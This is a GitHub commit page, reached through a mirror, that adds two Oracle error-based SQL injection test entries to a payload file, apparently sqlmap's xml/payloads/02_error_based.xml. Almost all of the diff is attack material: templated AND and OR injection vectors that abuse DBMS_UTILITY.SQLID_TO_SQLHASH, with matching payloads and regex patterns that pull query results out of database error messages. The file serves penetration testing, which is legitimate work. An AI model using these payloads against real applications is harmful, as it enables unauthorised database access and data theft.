Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 26bec72

Browse files
committed
Update for an Issue #1184
1 parent c35fa63 commit 26bec72

1 file changed

Lines changed: 38 additions & 0 deletions

File tree

xml/payloads/02_error_based.xml

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -506,6 +506,44 @@
506506
</details>
507507
</test>
508508

509+
<test>
510+
<title>Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
511+
<stype>2</stype>
512+
<level>4</level>
513+
<risk>1</risk>
514+
<clause>1</clause>
515+
<where>1</where>
516+
<vector>AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
517+
<request>
518+
<payload>AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload>
519+
</request>
520+
<response>
521+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
522+
</response>
523+
<details>
524+
<dbms>Oracle</dbms>
525+
</details>
526+
</test>
527+
528+
<test>
529+
<title>Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
530+
<stype>2</stype>
531+
<level>4</level>
532+
<risk>3</risk>
533+
<clause>1</clause>
534+
<where>2</where>
535+
<vector>OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
536+
<request>
537+
<payload>OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH(('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'))</payload>
538+
</request>
539+
<response>
540+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
541+
</response>
542+
<details>
543+
<dbms>Oracle</dbms>
544+
</details>
545+
</test>
546+
509547
<test>
510548
<title>Firebird AND error-based - WHERE or HAVING clause</title>
511549
<stype>2</stype>

0 commit comments

Comments
 (0)